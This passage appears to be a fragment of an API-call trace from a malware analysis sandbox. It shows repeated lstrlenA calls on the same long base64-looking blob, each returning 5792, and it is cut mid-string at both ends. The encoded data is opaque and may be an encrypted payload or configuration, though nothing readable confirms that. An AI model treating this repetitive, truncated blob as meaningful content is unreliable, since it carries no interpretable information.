MGw4djJq0t1O10PLYxpkc0Vgwi7wQnJTaF9ujcPLOJhzOSSvTIdlRLpqKkRvA6+dhv7LI76ih9HJPqw8YuyvNKlGZoAZ1w3z7Fz2jCtLaff8SEFgGWFP2d/iabUp0mmEoK1UqlEe+AEeTDndSwPdvccQ4efcQkZC+onMnNmNpzt625/Vqe1TDaz4EsndpkheTM5jCVXL4wxZ9dk08GtEf+3zgu2kWh2W4dClq0P1skX6e6A8/SaKrnIkBtiL1LSbvOnQYhoTJtyuZYldNKts0RTwvkMvz8o4ZrVUQxZloQTxNYY0XhP1qtOeQy6vpPrQVp8OTCw6inOnUFMH1YR/l+GEaMxqf/Hv7IDBdfvozGMeacN2ZQYBxscjUA+WnGS6S879SOnF38AU54s/Xq5ew85QKqqoygwy0NCopSgmiKQX+YzuwLNNjCzQiYUooIKFMJXN+0h4yCltnNqBM5nLCbD1rty/PGe5rcqTHi+wx40bI4FY6+hbD4hzBK0Bdu0Vl5U08kosa/TQpX5KkSws/1xv3risuRmmejnI7nvoOZFDtpdW3c1yZef14h09G3fG/TtBFRY25jqXGHttZGyhnaZ717KrA7en2FaxEEJKNQUfn9rzG2oJLoIg08JPBCRWgJxLV4uqlV8bnagNHrEYVeZqqwneAjzQmCY+kmq32kTwJDAhLsoHLTpcbJBSJjNLHitgsPxG6/VZXxXnPjf4HPCwbFi7lJbJyLJ0TUyA5qrFq7inDPuW6u/E0nAjaIW0EQHQHOwLHfeOEzbBMrCmbsSr7qXUyWOen9l11DPiANUFT+us8hDCiObQzBxlH144cCJ0AgDg+JNpC39FPz3ulSWZL0lkSwuCXShs4IynIGLQ9uwjdai596keA1uoJd0/9rVj3UQ7RO9H95nEc1T/vKoBpv1Ma7M5LrpMsBpZsc5r9O6LpFPV7Qm4pj0NBQ6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0042.885] lstrlenA (lpString="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") returned 5792 [0042.885] lstrlenA (lpString="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") returned 5792 [0042.885] lstrlenA (lpString="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